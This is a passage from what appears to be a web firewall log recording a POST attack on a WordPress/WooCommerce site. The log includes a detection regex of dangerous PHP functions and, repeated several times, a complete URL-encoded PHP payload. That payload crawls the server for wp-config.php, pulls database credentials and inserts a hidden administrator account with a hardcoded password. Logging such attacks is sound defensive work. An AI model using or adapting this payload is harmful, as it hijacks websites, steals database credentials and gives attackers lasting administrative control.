20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));"]
["2026-04-18 23:39:44","213.209.159.254","POST","\/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QlAazG:eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B\"));","POST \/wp-content\/plugins\/woocommerce\/packages\/action-scheduler\/lib\/cron-expression\/CronExpression.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-dest:document\ncontent-length:12663\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-mode:navigate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nhost:dewenlabels.com\nsec-fetch-site:none\nsec-fetch-user:?1\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\n\nQlAazG=eval(rawurldecode(\"%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%2